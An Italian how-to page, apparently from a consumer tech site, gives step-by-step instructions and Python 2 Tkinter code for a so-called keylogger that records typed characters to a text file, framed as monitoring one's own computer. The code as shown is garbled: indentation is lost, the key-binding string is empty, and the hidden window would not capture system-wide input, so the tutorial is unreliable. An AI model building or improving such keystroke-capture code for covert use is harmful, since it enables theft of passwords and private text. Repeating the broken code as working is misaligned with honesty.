>> Tecnologia elettronica >  >> Casa intelligente >> Vita smart

Come creare un keylogger con Python

Potete creare un programma keylogger usando Python per catturare i tasti premuti sulla tastiera del computer. I tasti vengono salvati in un file di testo e registra tutti gli input. Potete usare un keylogger per monitorare l'attività sul vostro computer.

Passaggio 1

Avviate IDLE, cliccate menu "File" e selezionate "Nuova finestra". Premete Ctrl+S per aprire "Salva con nome". Usate "getKeyLogger" come nome file e cliccate "Salva".

Passaggio 2

Aggiungete la seguente riga per importare il namespace "Tkinter" e definire il percorso del file di log:

import Tkinter as tk
myFile = open("C:/temp/keyFile.txt", "w")

Passaggio 3

Copiate e incollate il seguente codice per salvare ogni tasto premuto nel file:

def keypress(event):
if event.keysym == 'Escape':
main.destroy()
keyPressed = event.char
myFile.write(keyPressed)

Passaggio 4

Aggiungete il seguente codice per avvisare l'utente che può iniziare a digitare e premere Esc per terminare:

main = tk.Tk()
print "Premi un tasto (Esc per uscire):"
main.bind_all('', keypress)
main.withdraw()
main.mainloop()
myFile.close()

Passaggio 5

Cliccate "Start" Windows e digitate "cmd" nella casella "Cerca programmi e file". Invio per aprire il prompt dei comandi. Andate in "C:\Python" e digitate "python getKeyLogger". Invio per eseguire. Andate in "C:/temp/" e doppio clic su "keyFile.txt" per vedere i dati dei tasti premuti.

  1. Come Creare una Suoneria Usando un Macintosh
  2. Come aprire un file in Python
  3. Come creare un array in Python
  4. Come Creare File Batch
  5. Come leggere un file di testo in Python
  6. Come creare un file in Python